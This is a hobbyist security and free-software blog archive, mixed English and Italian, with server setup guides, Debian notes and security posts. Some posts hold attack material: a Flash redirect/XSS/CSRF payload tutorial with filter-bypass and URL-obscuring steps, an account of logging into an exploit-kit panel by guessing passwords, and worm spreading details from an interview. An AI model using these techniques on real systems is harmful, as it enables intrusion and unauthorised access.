Drunk Geisha

Network yourself!

2011-12-04T03:04:00.000-08:00

Routermon

2011-12-04T03:03:00.000-08:00

mosquito on my monitor

2011-06-26T13:14:00.000-07:00

Ikiwiki + Gitolite

2011-06-21T05:58:00.000-07:00

I had buy a RPS server from ovh.it rps offers but there isn't support for the server and the installable operating system is dated (lenny old stable). they have take ten days for activate my server so i have lost ten days for use my server (because is activated from 16-05-2011 but i had the possibility of use it since the 26-05-2011).
the RPS have a lots of problems and after the upgrade to squeeze i can't restart it for now because the iscisid version is too old and because you have to use ovh kernel for make it work and lot's of ovh parameter to set that i don't know.

so i have upgraded to squeeze in the hope that in the future i get support on it.

Ikiwiki + Gitolite

after the squeeze dist-upgrade i had start to install ikiwiki + gitolite and apache2, i want to install ikiwiki because in the debian community many people is using it, and look like a nice and fully customizable wiki.
For first i had installed apache2 and i had also installed some dependencies to enable CGI in apache2 setup as: libcgi-formbuilder-perl and libcgi-session-perl.

i want my site in the directory var/www/ikiwki/

Then i have edited my /etc/apache2/apache2.conf and add a line like this:

AddHandler cgi-script .cgi

i have find the "Options" line for the directory where i've put the ikiwiki.cgi, and add "ExecCGI" to the list of options. in my example, ikiwiki.cgi was in /var/www/ikiwiki, i edited /etc/apache2/sites-enabled/000-default and i had add it to the "Options" line in the "Directory /var/www/ikiwiki". But if you've put it in a ~/public_html, edit /etc/apache2/mods-available/userdir.conf.

i had also enabled the 404 plugin.
To make apache use it, the apache config file will need a further modification to make it use ikiwiki's CGI as the apache 404 handler. Something like this, with the path adjusted to where you've put the CGI:

ErrorDocument 404 /cgi-bin/ikiwiki.cgi

than i have installed gitolite following the root metod:

On your workstation:
(remember that the ssh key don't ask for a password when you use it)

copy your ~/.ssh/id_rsa.pub file to /tmp/YourName.pub on the server

On your server, as root:

git clone git://github.com/sitaramc/gitolite
cd gitolite
src/gl-system-install
# defaults to being the same as:
# src/gl-system-install /usr/local/bin /usr/local/share/gitolite/conf /usr/local/share/gitolite/hooks

# to upgrade gitolite, repeat the above commands. Make sure you use the
# same arguments for the last command each time.

# create your "hosting user" if not already created with the user folder
useradd -m git

su - git

# (now as git)
gl-setup /tmp/YourName.pub

and modify this file .gitolite.rc

$REPO_UMASK = 0022; #(777 - 022 = 755; -rwxr-xr-x)

On your workstation:

git clone git@server:gitolite-admin

you can also edit the .ssh/config file like this:

host gitolite
user git
hostname yourhostname
port 22
identityfile ~/.ssh/id_rsa

naturally you have to add the wiki repositories on gitolite
repo
R = @all
RW+ = admin

now you have to make the directory /var/www/ikiwiki/
readable and writeable by git user:

mkdir /var/www/ikiwiki
chgrp git /var/www/ikiwiki/
chmod 775 /var/www/ikiwiki/

ok now try to see if gitolite is working, if it is you can start installing ikiwiki:

after have done apt-get install ikiwiki and installed the suggested package that you are insterested for use with the wiki i had modified the file in /etc/ikiwiki/auto.setup like this one:

#!/usr/bin/perl
# Ikiwiki setup automator.
#
# This setup file causes ikiwiki to create a wiki, check it into revision
# control, generate a setup file for the new wiki, and set everything up.
#
# Just run: ikiwiki -setup /etc/ikiwiki/auto.setup
#
# By default, it asks a few questions, and confines itself to the user's home
# directory. You can edit it to change what it asks questions about, or to
# modify the values to use site-specific settings.

require IkiWiki::Setup::Automator;

our $wikiname=IkiWiki::Setup::Automator::ask(
gettext("What will the wiki be named?"), gettext("wiki"));
our $wikiname_short=IkiWiki::Setup::Automator::sanitize_wikiname($wikiname);
our $rcs=IkiWiki::Setup::Automator::ask(
gettext("What revision control system to use?"), "git");
our $admin=IkiWiki::Setup::Automator::ask(
gettext("Which user (wiki account or openid) will be admin?"), $ENV{USER});
use Net::Domain q{hostfqdn};
our $domain=hostfqdn() || IkiWiki::Setup::Automator::ask(
gettext("What is the domain name of the web server?"), "");

IkiWiki::Setup::Automator->import(
wikiname => $wikiname,
adminuser => [$admin],
rcs => $rcs,
srcdir => "$ENV{HOME}/$wikiname_short",
destdir => "/var/www/ikiwiki/",
repository => "$ENV{HOME}/repositories/$wikiname_short.".($rcs eq "monotone" ? "mtn" : $rcs),
dumpsetup => "$ENV{HOME}/$wikiname_short.setup",
url => "http://$domain",
cgiurl => "http://$domain/ikiwiki.cgi",
cgi_wrapper => "/var/www/ikiwiki/ikiwiki.cgi",
adminemail => "$ENV{USER}\@$domain",
add_plugins => [qw{goodstuff websetup}],
disable_plugins => [qw{}],
libdir => "$ENV{HOME}/.ikiwiki",
rss => 1,
atom => 1,
syslog => 1,
)

than i had done this

su - git

ikiwiki --setup /etc/ikiwiki/auto.setup

and that's all!!!

now you have ikiwiki + gitolite + apache

i was almost for forgotten this is my wiki finished http://r36457.ovh.net/

for any problem please comment here↓

2011-06-21T03:03:00.000-07:00

I'm the New Administrator with Gnutoo of the italian group of libreplanet, and we are tring to give update and news on the libreplanet project and free software, and is officiall approved by FSF

Libreplanet-it
Libreplanet-it wiki

you can find us also on irc #lp-it @ freenode

New women.debian.org website !

2011-05-09T10:21:00.000-07:00

We are working on making a new interface for the women.debian.org website using ikiwiki and switching the repository from the old SVN to GIT!
yeah git rulez !!!

here is the preview of the site women.debian.org

I adopted Nautilus-Actions

2011-05-09T08:41:00.000-07:00

* New upstream maintenance release.
- debian/control.in:
- New Maintainer (closes: #620570)
- Added Homepage, thanks to jeansch.
- Bump Standards-Version to 3.9.1; no changes required.
debian/*.1
- Added nautilus-actions-print manpage; thanks to jeansch.
- Various fix.
debian/copyright
- Fixed GPL-2 path according to lintial warning the license used;
thanks to jeansch.
debian/nautilus-actions.dirs
- Removed, not used anymore; thanks to jeansch.

http://svn.debian.org/wsvn/pkg-gnome/?op=comp&

Last upstream here: http://www.nautilus-actions.org/downloads/

This is my build string for svn-builpackage with cowdancer and pbuilder (based on zack command) using file from a remote repository without committing the local changes but you need to add the new files!!
and it only build the package and test it with litian and don't add a new Debian changelog entry when done

using: svn add

alias svn-btc="svn-buildpackage --svn-builder='pdebuild --pbuilder cowbuilder --buildresult ..' --svn-lintian --svn-noautodch --svn-dont-clean --svn-ignore"

write svn-btc for launch the command

Tuesday May 4th, is the Day Against DRM!!!

2011-05-04T10:02:00.000-07:00

Today is the day against DRM (Digital Rights Management).

© xkcd
This picture is licensed under a Creative Commons Attribution-NonCommercial 2.5 License.

Richard Stallman, President of the Free Software Foundation:
”The motive for DRM schemes is to increase profits for those who impose them, but their profit is a side issue when millions of people’s freedom is at stake; desire for profit, though not wrong in itself, cannot justify denying the public control over its technology. Defending freedom means thwarting DRM.”

I had buy my kindle DX and i think to have the right to use it in any possible way. formatting it or installing a different kernel but DRM give me no freedom on most stuff that i buy and sometime is also absurd like in Italy for mass media device we have to pay a tax on it because in the future-use we can maybe install some copyrighted software or buy a computer and have to pay lot of money for a System Operator like Microsoft or Apple software that i never used, that's weird DRM is taking to power in every aspect of our lives, making you pay what is free for definition...
and not happy of this is also making the way that you have to contribute on your cause also if you are against it.
like lot of industries making not bad product but limited by DRM and with little other chose in different ways if you don't want the DRM and much more expensive...

Gnome 3 and Gnome Shell

2010-04-16T03:55:00.000-07:00

Gnome 3 will be released in September 2010 integrating a stable version of Gnome Shell (currently in active development)!!!

The first noticeable change in GNOME Shell is that the two panels of GNOME 2 are replaced by a single black panel at the top of the screen

The most important of the innovations seen in GNOME Shell is the Activities overview mode which dedicates a full screen to all the different ways in which the user can switch from doing one thing (an activity) to doing something else.

Gnome Shell is a really cool innovation on Gnome. It provides core interface functions like switching to windows and launching applications. GNOME Shell takes advantage of the capabilities of modern graphics hardware and introduces innovative user interface concepts to provide a delightful and easy to use experience.

Is really different from the previous Gnome Interface and it take a bit of time for have full controll of this new interface but you can also see lot of improvements !

Gnome Shell screenshots

irc.gnome.org:#gnome-shell

Twitter #gnomeshell

Wanted Wardriver

2010-03-21T03:36:00.000-07:00

Cerco Wardriver per il Cat a orvieto di luglio 2010 per formare un team
mandate le richieste a jingcomics (et) gmail.com

http://www.wardriving.it/

Buon anno :D

2009-12-31T02:37:00.000-08:00

Sono stata un pò assente in questo periodo perchè mi sto impegnando in progetti che mi prendono molto tempo e che trovo fantastici...

In questo periodo ho letto la trilogia millenium di Stieg Larsson, la storia è molto avvincente e i personaggi adorabili.
Un peccato che molte domande rimangano irrisolte per la morte dell'autore :( ;
ad esempio che combina la sorella di Lisbeth...

Sto anche iniziando un altro libro La matematica del novecento di Odifreddi.

Auguro a tutti un Buon Anno nuovo e vi lascio con una immagine fatta da Achamo

exploitbin project open

2009-11-13T10:30:00.000-08:00

exploitbin code project

exploitbin is a pastebin with exploiting functionality and a collaboration open source platform for find exploit on internet

is pretty new and need lot of help !!!

ikee virus for iphone

2009-11-13T09:28:00.000-08:00

You have jailbroken your iphone for make it more configurable and you use ssh for uploading stuff and you have not changed your password ???

Most internet site write the default password of the iphone ssh jailbroken ( alpine) this information can used from a malware or a bad user for take information and make in risk your iphone.

In this day there is also a iphone virus

http://is.gd/4Unwx

The virus is really simple it check ip and if find a iphone in the network it try to use default ssh password

For secure your iphone is pretty simple

For this guide, you are going to need MobileTerminal (download it from Cydia):

Open the MobileTerminal Application on your device:
Type in ’su root’ and click enter:
It will ask for the password so type in ‘alpine’ which is the default password:
Type in ‘passwd’ and click enter:
It will ask for a new password (more than 5 characters) so type it in:
It wil ask your to retype the password:

This is the interview with the creator:

[09:02] Hi ikee :-) Thanks for joining me
[09:02] nps
[09:03] Now, as you're well aware, you wrote a virus that is infecting many iPhones in Australia. I guess the real question to start with is why?
[09:04] First i was curious to how far something like this would actually spread, i think what most people were unaware of is the fact it IS a worm and every phone that got infected with it was spreading it (I initially only infected 3 phones when I woke up i checked google and found out a fair few people were hit with it)
[09:05] Secondly i was quite amazed by the number of people who didn't RTFM and change their default passwords.
[09:07] How far did you expect it to spread, exactly?
[09:08] Well i didn't think that many people would have not changed their passwords I was expecting to see maybe 10~ or so people, at first I was not even going to add the replicate/worm code but it was a learning experience and i got a tad carried away :)
[09:11] Are you aware that it has even started to replicate itself overseas?
[09:13] I heard a few stories about it, that would have been sheer luck, the code itself is set to firstly scan the 3G IP range the phone is on, then Optus/Vodafone/Telstra's IP Ranges (I think the reason Optus got hit so hard is because the other 2 are NAT'd) then a random 20 IP ranges. I'm guessing a few phones hit a range that another vulnerable phone was on.
[09:14] (From another country)
[09:15] Well that was my next question: Why does it only seem to be hitting Optus here and Overseas (I was presuming from screenshots I've seen)... So you're saying the Optus network is more vulnerable due to it not using NAT?
[09:17] I don't think it was an Optus fault (Being an Optus user I quite like the fact i can access my iPhone services from the outside world), I think it was mainly the fault of people being to lazy to change their passwords (It only takes a couple of seconds guys) and I hope this taught a few people that.
[09:18] So do you know exactly how many people are currently infected with the "ikee virus"?
[09:20] I can only confirm how many my phone infected alone, which was 100+ phones. I think most of them fixed it (AND I'M HOPING THEY CHANGED THEIR PASSWORDS.)
[09:21] So your major defense seems to be that people left themselves vulnerable, Do you steal stuff from people's houses if they leave the backdoor open?
[09:24] I'll answer your question with two questions, Have you ever used unprotected Wifi? and Technically I did not steal anything, have you ever littered on someone else's property? (Smokers will definitely associate ;))
[09:25] Ok, I suppose I can personally admit to both of them, but it seems alot more to me like vandalism than littering, which isn't something I would do
[09:27] Personally I would class littering as vandalism (They definitely don't want your rubbish there). I admit I probably pissed of a few people, but it was all in good fun (well ok for me anyway)
[09:30] So that explains why you decided to use Rick Astley. In my research, I've been reading about a similar virus (it seems) that contains a picture of an 'asian child' - I havn't seen screenshots of this, but that's how it is described. Are you also responsible for the "Asian Child virus"?
[09:32] Ahh that was a quirk of my bad coding, the 'virus' itself has 4 variations and the first variation would resend its LockBackground.jpg to the victim. I did not comprehend that the infector might have not rebooted their phone after changing the LockBackground to something else (Causing them to send their changed lockbackground instead of Mr Astley)
[09:36] So it's the same virus, but now containing a picture of someone's loved one?
[09:37] Yeah, that was definitely not the intended effect.
[09:39] Are you aware of the possible legal consequences of this (the ikee virus)? Are you concerned?
[09:40] I'd like to think I'm aware, and also I highly doubt I'm in any real trouble (So no not concerned)
[09:43] James01 on Whirlpool asks: at least one person has reported being affected without a jailbreak â€“ seems unlikely given the nature of the phone and what I have garned about the "virus" - is this possible, or are the reports unreliable/mistaken?
[09:44] It only affects jailbroken phones, so people probably just got a little confused
[09:45] vanquish777 on Whirlpool says: What I want to know is, how did I get infected when I had SSH toggled off
[09:46] You didn't :), My guess is you had it on and when the 'virus' hit, it disabled sshd so when you checked it afterwards it appeared to be off
[09:47] Which reminds me, many people have said they are no longer able to disable SSH, is this intended to make sure you can do more damage to users?
[09:50] This was a hard bit for me to do, until i hit this the virus was not destructive at all. My first intention was to change the root/mobile password to random strings, then embed the strings into the LockBackground. Unfortunately passwd uses a tty (and not stdin) for its new password:request (similar to ssh logins, which is why you might find sshpass in /bin/, i had to port it) so to stop the phone getting infected over and over again (and
[09:50] someone else catching on and having mischief with peoples phones) I removed SSHD (cydia reinstall will rememdy the problem)
[09:51] (Cydia reinstall of SSH not reinstall Cydia itself)
[09:53] So you're saying that the only harm this virus causes is the removal of the SSH Daemon, which effectively, disables the initial problem?
[09:53] Well that and the pretty background yes :)
[09:54] You mentioned that there are four versions/variants, what are the differences between them?
[09:55] Variants A-C were quite similar and the ones most people have bought up. Variant D is fair bit different, it stores its files in a completely different place and hides itself a lot more (No random plists in LaunchDaemons)
[09:56] So you're saying that the newest variant is more hidden, is it more malicious?
[09:57] It is a lot more hidden, a think most phones tend to be more secured now so it should die pretty fast. It is a little more malicious it tampers with some Cydia files.
[10:01] Do Android users risk being infected? I'm guessing that the virus would only log in as root:alpine (the default root username and password for the iPhone OS IIRC)
[10:02] AFAIK no unless a user decided to use the same passwords, Although there is a weird quirk I read about dropbear in Android allowing any password (A bug with libcrypt I believe) but I could be very wrong.
[10:03] But even if an android phone was attacked the platform differences would not allow the code to be run :)
[10:04] Just out of curiousity, what do you call what i've named the "ikee virus"?
[10:05] Its in a folder called POC-iWorm (Proof Of Concept) but I never named it (ikee virus works!)
[10:09] You yesterday agreed to send me the source code (and removal instructions), what variant will it contain?
[10:10] C/D whatever version you want :)
[10:11] How about all four? I'll obviously be placing them online - probably Google Code or similar
[10:13] A-C was updated so I don't have the first 2, I forked D from C. (I don't know if its so wise posting the code online, nefarious people that otherwise would not have had the chance could modify it to be quite destructive)
[10:14] Perhaps, But it has become quite clear that there's a load of people that are unsecure, and if anyone wants to do anything bad enough, they are already going to know how.
[10:15] I guess i'm hoping that the jailbreak software will soon have a "enter new root password" prompt for those users that are un-aware.
[10:15] I'll leave the choice up to you :)
[10:15] I'd love to see that
[10:16] or even a random password generated and displayed for the user to write down
[10:17] Yes, it would be very good. I had an iPod Touch a while ago, which I "jailbroke" - admittedly I didn't change the default password. I guess i'm just glad it's not me.
[10:17] Do you plan on making any further variants? If so, why?
[10:18] No, I think the point has been made
[10:18] Have you developed anything PRODUCTIVE in the iPhone world?
[10:21] I'm not too sure what others would class productive. I do not own a MAC or run OSX (Using a linux cross compile toolchain) so it makes it abit of a challenge to develop any applications utilising the UI (I have tho -.-). I think the best program ive developed for it for me was a remote debugging library that sends debug information over the network (Using MCAST)
[10:23] Do you have anything further to add (I'm having a mental blank on questions to ask right now)
[10:26] I hope I did not piss off many people, this was a very simple problem and has an even simplier solution. I thought it was quite funny and I hope others did too :)
[10:27] You mentioned infecting only three iPhones to being with, when did that happen?
[10:28] Around 4am November 6th (Yeah I have no life)
[10:31] To confirm, other than replicating itself, adding the picture of Rick Astley, and removing the SSH Daemon, are we likely to find anything else it does?
[10:32] Nothing, and if you're releasing the source code people will be able to see that :)
[10:33] Can you please explain to me, how an infected user would remove the different versions correctly?
[10:33] by correctly, I mean completely.
[10:33] Sure, variants A-C store files in these directories
[10:34] /bin/poc-bbot
[10:34] /bin/sshpass
[10:34] /var/log/youcanbeclosertogod.jpg
[10:34] /var/mobile/LockBackground.jpg
[10:35] /System/Library/LaunchDaemons/com.ikey.bbot.plist
[10:35] /var/lock/bbot.lock
[10:35] using an rm (in SSH or mobile-terminal on those files will remove it)
[10:36] then reboot the phone, change your password and reinstall SSH
[10:36] For variant D its abit different
[10:36] The locations are
[10:37] /usr/libexec/cydia/startup
[10:37] /usr/libexec/cydia/startup.so
[10:37] /usr/libexec/cydia/startup-helper
[10:37] /System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist
[10:38] Of course cydia used these files previously so you may need to reinstall it after deleting this files
[10:38] *these
[10:38] So the D variant overwrites system files?
[10:39] Overwrits cydia's files
[10:39] *Overwrites
[10:39] Sorry, I'm not an expert at the iPhone OS :P
[10:39] Neither :P
[10:40] So none of your versions do contain any password changing commands?
[10:40] I mean, so when I provide uninstall instructions, I can tell them to use alpine as the password ?
[10:41] None of the code changes passwords
[10:42] Thanks for your time ikee, and I really hope you do get into developing things that are productive sometime soon.
[10:42] me too :) and no problems
[10:42] Perhaps on the Android platform (Yes, I know, I'm a fanboy)
[10:42] I just downloaded the x86 iso, so maybe :P
[10:43] I'll ask you more about that after I end this logging session, Cheers :)
[10:43] Ciaoo
End of #Interview_Room buffer Sun Nov 08 10:43:58 2009

Dropbox open source !!!

2009-11-13T03:36:00.000-08:00

Is open Votebox a application for choose what new feature have the priority on other in the Dropbox application!

I'm a debian user and im really sad that dropbox is not in the debian repository because the dropbox images are copyrighted ...
so i have open a group for make dropbox completly open source and GPL for make it added in the debian repository

Please vote here

*you have to loginin for vote!

Honeypot and Honeynet

2009-11-13T00:32:00.001-08:00

In this day i have try some new cool technology that i love...

Honeypot

What they are? a honeypot is a fictional vulnerable system used to attract malicius software in the intent of use the fake bugs on the server and at the same time to grab information about the attacker and the technics used for attacks. A honeynet is a network of two or more honeypot.

All the data retrived by a honeypot can be used for many reason, try to make a profile of the attacker, for research tring to steal the exploit and 0day stuff used by the attacker and know new vulnerability and can also be used in a legal procedure.

The honeypot are divided in three level depending on how deep an attacker can interact with it

Low interation are emulated by software and the interaction is really inconsistent

medium interaction they are chrooted or jailed and provide a limited system access

high interation the attacker can have full access on the server

they are also classified on the data that they can collect

Production can collect only limited information

Research can collect more information about the attacker and the strumentation used for the attack, they are used for reasearch by goverment and military.

Another version of honeypot are used for capture spammers giving fake smtp convicing the abuser that is a usable smtp relay for sending all sort of email when in fact is not and also can try to intercept the ip of the illegit user.

Some honeypot can also try to assorb and reverse the malware when it try to attack the fake server for research analysing the binary file.

Some honeypot software can be:

Labrea is a tarpitting honeypot used for deceive the attacker scanner showing faking server with all port open in the unused network ip web adress for tarpitting but this can be useless with multithreading scanners.

Nepenthes is a good botnet detector and tracker and can also try to reverse the binary file and shellcode

Dionaea the successor of nepenthes developed by the same team http://dionaea.carnivore.it/ and is a part of the google summer code.

Honeyd is a small daemon need for create virtual hosts on a network. this virtual host created can be configured for attract intruder of specific vulnerability.

For make a honeypot work you have to be really patient !!! and wait...

a intruder can take lot of time before try to compromise it.

The best is to have a firewall and other security tools for have the most possible data and information about the intrusion.

Liberty Exploit pack... exploited!

2009-11-13T00:31:00.000-08:00

Liberty Exploit System
latest: 1.0.5

exploits:
MS06-014 Internet Explorer (MDAC) Remote Code Execution Exploit
PDF util.printf(), PDF collab.collectEmailInfo(), PDF collab.getIcon()
Flash 9
MS DirectShow
Snapshot
Java 0day

price: 500$

Yesterday i was looking for this packet of exploits called Liberty pack.

So it was really interesting and more interesting when i have found that the default username and password is user and pass ...

so i have search in malwareurl for a cpanel admin.php of liberty pack...

the first panel found i had try user and pass for login but don't work so i think that also the utilizator of liberty pack know now that leave the default password is insecure.

So i have try the most common passwords = 1234,god,password and... it work!!!

Now i have the access to the liberty pack cpanel

it looks nice but not so nice for a 500$ exploit pack, is the essential for make it work...

Ok is not really big, i have see some other of 15k uniques visits but is not bad

It inject for the most in ie7 and old ie version

The principal infected country is Turkey

The most infected OS is windows xp but there is also a strange Unknow system that i suspect to be some "crew" windows version like tinyxp or blackxp

This is one of the most interesting part the referreals

looks like a turkish forum infected http://www.msxlabs.org/

naturally about windows stuff :D

and also the other referreals are all forums

(i suppose that the attacker inject in the post a invisible frame about the exploited page for infect other user of the forum)

Ok this is the exploit used for infect the users

how i have find it... simple looking in the page source i have see a id=6 about exploits commented

i have try to insert it in the admin page and i have see the redirection to the exploit page :D

what that exploit number means ? ms06-014 is a vulnerability in the microsoft data access components!!!

id=4 reset the counter

i have try to inject some code in the upload form but don't work for now...

this are the files used by liberty pack

site.com/index.php
site.com/download.pdf
site.com/Hidden.swf
site.com/update.php
site.com/update.exe
site.com/admin.php

thanks everyone for listening

Jump/XSS/CSRF in Flash

2009-11-13T00:30:00.002-08:00

Hello everyone sorry for my absencebut i had lot stuff to do.

today i talk about Jump/XSS/CSRF in Flash.

The point of this tutorial is about build a redirect with flash jump

For the start we need to use a precompiled swf

fly.tar.gz

we have to upload the swf file to a webserver i had used altervista.org for it

than we have to make a file txt with the same name of the swf like test.swf and test.txt

now we have to edit the txt file

this are example of the edit of file .txt

jump to http://drunkgeisha.noblogs.org
0,http://drunkgeisha.noblogs.org

open window to http://drunkgeisha.noblogs.org
1,http://drunkgeisha.noblogs.org

send GET Request to drunkgeisha.altervista.org
2,http://drunkgeisha.altervista.org/?hello

send POST Request to drunkgeisha.altervista.org
3,http://drunkgeisha.altervista.org/?hello,,,str=string

Call JavaScript
4,alert(/xss/)

now you have to try it

for do it you need only to write in the browser

test.swf?sec80=http://yoursite/test.txt

this string may be better for bypass some filter

test.swf?sec80=http://yoursite/test.txt&80sec.swf

if everythings is correct you can see this

now you have to embed it on some page

i have used tinyurl for obscure better the url http://tinyurl.com/yhh5x7l = http://drunkgeisha.altervista.org/prova.swf?sec80=http://drunkgeisha.altervista.org/prova.txt

the result is this

http://drunkgeisha.altervista.org/index.html

and this on blogspot

sorry for the bad quality but is my first tutorial video

programmer life

2009-11-13T00:30:00.001-08:00

A good example of a programmer life

Aperto il circolab :)

2009-11-13T00:29:00.002-08:00

In questi giorni sono stata assente perchè ho aiutato nell'riapertura del circolab :)

http://www.circolab.net

Cos'è il Circolab ?

nemmeno noi sappiamo realmente cosa sia il Circolab !!!

Da una recente discussione è risultato essere

Un laboratorio/circolo informatico con il miglior bar di Brescia :D

Cosa dice di noi il Brescia Oggi

Domenica 25 Ottobre 2009 Ha riaperto il Circolab dove Internet è gratis.
Riapre questa sera con un aperitivo e un dj set dalle ore 19 il CircoLab, laboratorio di informatica libera nel quartiere Carmine. Nei locali di via Battaglie 29 è possibile trovare un Internet point gratuito, dove tutti i computer utilizzano Linux e gli attivisti organizzano corsi di informatica a livello base e avanzato (che partiranno prossimamente).
All'interno del circolo c'è un bar, sono organizzate proiezioni e si può ascoltare musica. Tra i progetti attivi c'è gnumerica.org, un server che offre caselle postali senza pubblicità, spazio web, mailing list.
GLI ATTIVISTI cercano di diffondere l'utilizzo consapevole delle tecnologie, in particolare di mettere in guardia chi utilizza i computer dalle insidie dei programmi e dei servizi commerciali.
«Aprire una casella di posta o una mailing list su gnumerica significa ad esempio non fornire i propri dati a società che potrebbero usarli con un secondo fine - afferma Marco «marcogh» Ghidinelli -; siamo tutti volontari e lo facciamo per passione».
Il Circolab è aperto dal giovedì al lunedì, dalle 17 alle 23:30, l'ingresso è riservato ai tesserati. FR

Inaugurazione apertura dell gruppo Girl Geek Dinners Brescia

2009-11-13T00:29:00.001-08:00

GGD anche a brescia.

Il 25 ottobre l'inaugurazione del gruppo GGD Brescia !!!

Con gara di polpette !!!

Dj set:

Bio

Algaritmo

Aliceinwire

Corsi di Linux

Abbiamo anche facebook

The first Sourcefire italian community for support and discuss :)

2009-11-13T00:28:00.001-08:00

I'm happy to annunce the first Sourcefire italian community for support and discuss about security and similar stuff.

Sourcefire is a fantastic product from the creator of Snort, it have a amazing web control panel with lot of widget and good ampliable capacity, it report all IDS /IPS event (also the most difficult to find) in the simply user interface web graphic dashboard.

Login Screen

Product “Home” Before Kristi

Product “Home” After

“Events” Before Kristi

“Events” After

Online Help (Customized for Each Product)

PDF Manual Cover (Easily Customized for Each Product)

Product Design Guide (PDG) for Developers

OEM Rebrand for Nortel – Login

OEM Rebrand for Nortel – Home

Xen hypervisor daemon error

2009-11-13T00:25:00.000-08:00

I have installed Xen but i found this problem when i run virt-manager and i try to connect to Xen localhost:

Unable to open a connection to the Xen hypervisor/daemon.

Verify that:
- A Xen host kernel was booted
- The Xen service has been started

Unable to open connection to hypervisor URI 'xen:///':
unable to connect to '/var/run/libvirt/libvirt-sock': Permission denied
Traceback (most recent call last):
File "/usr/share/virt-manager/virtManager/connection.py", line 486, in _open_thread
None], flags)
File "/usr/lib/python2.5/site-packages/libvirt.py", line 99, in openAuth
if ret is None:raise libvirtError('virConnectOpenAuth() failed')
libvirtError: unable to connect to '/var/run/libvirt/libvirt-sock': Permission denied

This is the solution that i have found:

cd /etc/xen/

and edit:

xend-config.sxp

activating this configuration:

(xend-http-server yes)
(xend-unix-server yes)

than reboot the computer and all goes right

now im tring to add new vm ...

How to capture real time traffic network with tcpdump and Xplico

2009-10-06T07:08:00.000-07:00

Sorry for the few post in this day but im working in to much project at the same time :S

I have try this xplico today and it work pretty good,it still need some fix , but it do the work.

Ok for start you need to install Tcpdump and Xplico from your distribution installation command.
for dependance:

apt-get install sqlite tcpdump tshark apache2 php5 php5-sqlite build-essential perl zlib1g-dev libpcap-dev libsqlite0-dev libmysqlclient15-dev php5-cli python-all
(in the wiki version the l is missed in php5sqlite)

if you have download the .deb you have only to give
dpkg -i name.deb

if you have download the source code you have to give with root permission
make install

for install the interface you need apache with rewrite, php5 and php5-sqlite
and put the file in your web server
usually /var/www/

post_max_size = 100M
upload_max_filesize = 100M

ok now for the live capture we have to give this command (and every time you need a new live caption)

cd /opt/xplico/script/db/sqlite2
./create_xplico_db.sh

At this time you only need to go at http://localhost:9876

Insert the user and password write in the bottom and insert the capture id
when you have insert all id
you can run this:

cd /opt/xplico/script
./rt_demo.sh

(in the source that i have download this script is copyrighted i hope the author can modify it with GPL2 because it need some modify for the tcpdump command in it)
update:
I had received a mail from the author about this script when he said that in the neXt Release is all GPL !
Thanks for the fast replay :)

At this time is starting to retrive network packets and to catalogate it
You can also start to see the web packet retrived and other stuff

You can read also Email

Protocols Dissectors

Dissector	Status	Note
Ethernet	100%	—
PPP	90%	—
VLAN	95%	—
L2TP	70%	—
IPv4	98%	—
IPv6	98%	—
TCP	95%	—
UDP	100%	—
DNS	80%	—
HTTP	100%	—
SMTP	95%	—
POP	95%	—
IMAP	95%	—
SIP	80%	—
RTP	70%	—
RTCP	60%	—

Dissector	Status	Note
SDP	70%	—
FTP	90%	—
IPP	90%	—
PJL	90%	—
NNTP	30%	—
MSN	10%	—
IRC	15%	—
YAHOO	0%	—
GTALK	0%	—
EMULE	0%	—
SSL/TLS	0%	with keys
IPsec	0%	with keys
802.11	0%	with keys
MMSE	95%	over HTTP
Linux cooked	95%	SLL
TFTP	90%	—

I want say thanks to Xplico Team for this great software :)

Sono anche una brava cuoca o almeno ci provo!

2009-10-04T11:59:00.000-07:00

ssi non mi occupo solo di ICT Security, Reverse Engineering, Pen Testing, Exploiting, Packaging, Coding, System Administration...
Ogni tanto cucino anche !
Per darvi prova del fatto che cucino eccovi le ultime foto fatte XD
Si di solito cucino in mutande e allora ?!?

Mentre assaggio quello che ho fatto... mmm buono !!!

La mia frittata !! L'ho dovuta rifare 3 volte per farla uscire tutta intera :D

Il risultato !!!

t3c4i3's shell trojan -- Reversed

2009-10-04T08:47:00.000-07:00

Ciao a tutti,
in questi giorni mi sono smazzata tra ida pro per debian/gnulinux -- ollydebug su wine una marea di manuali di unpacking e 5 gb di virus... alla fine ho comuqnue preferito scrivere di nuovi trojan usciti da poco.

Bene questo viene trovato solo da

[file and pathname of the sample #1]

69,704 bytes

MD5: 0xB9DF7508F42E7283F5E3A4FFB96B9B9C
SHA-1: 0x979385C4690F8F77A619CEB1A547F5817E19A919

Backdoor.Win32.Agent.alke [Kaspersky Lab]

si kaspersky è uscito da poco ed è abbastanza interessante magari non è hai livelli di Zeus (tra un pò arriverò anche ad analizzare in dettaglio quello ho gia cominciato qualcosa) ma è pur sempre fatto bene e molto old school.
è fatto in c++ il che è una rarità per molti nuovi virus che sono sempre più sviluppati con Delphi.
il programma usa queste funzioni:
Program:

GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
1#QNAN
1#INF
1#IND
1#SNAN
GetCurrentDirectoryA
GetEnvironmentVariableA
DeleteFileA
CreateThread
Sleep
GetTempPathA
GetSystemDirectoryA
GetComputerNameA
GetModuleFileNameA
GlobalFree
CloseHandle
WriteFile
CreateFileA
GlobalAlloc
LocalAlloc
SetFileAttributesA
GetWindowsDirectoryA
ReadFile
SetFilePointer
GetVersionExA
SetCurrentDirectoryA
GetFileAttributesA
LoadLibraryA
GetProcAddress
FreeLibrary
GetCurrentProcess
GetTickCount
KERNEL32.dll
FindWindowA
USER32.dll
BitBlt
SelectObject
CreateCompatibleBitmap
GetDeviceCaps
CreateCompatibleDC
CreateDCA
GetDIBits
GetObjectA
GDI32.dll
GetUserNameA
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegSetValueExA
RegOpenKeyA
OpenProcessToken
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
InternetOpenUrlA
InternetCloseHandle
InternetOpenA
WININET.dll
WS2_32.dll
GetLastError
SetEnvironmentVariableA
HeapFree
HeapAlloc
GetTimeZoneInformation
GetSystemTime
GetLocalTime
MoveFileA
ExitProcess
TerminateProcess
GetModuleHandleA
GetStartupInfoA
GetCommandLineA
GetVersion
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
HeapReAlloc
GetCPInfo
GetACP
GetOEMCP
WideCharToMultiByte
SetHandleCount
GetStdHandle
GetFileType
UnhandledExceptionFilter
FreeEnvironmentStringsA
FreeEnvironmentStringsW
GetEnvironmentStrings
GetEnvironmentStringsW
RtlUnwind
MultiByteToWideChar
GetStringTypeA
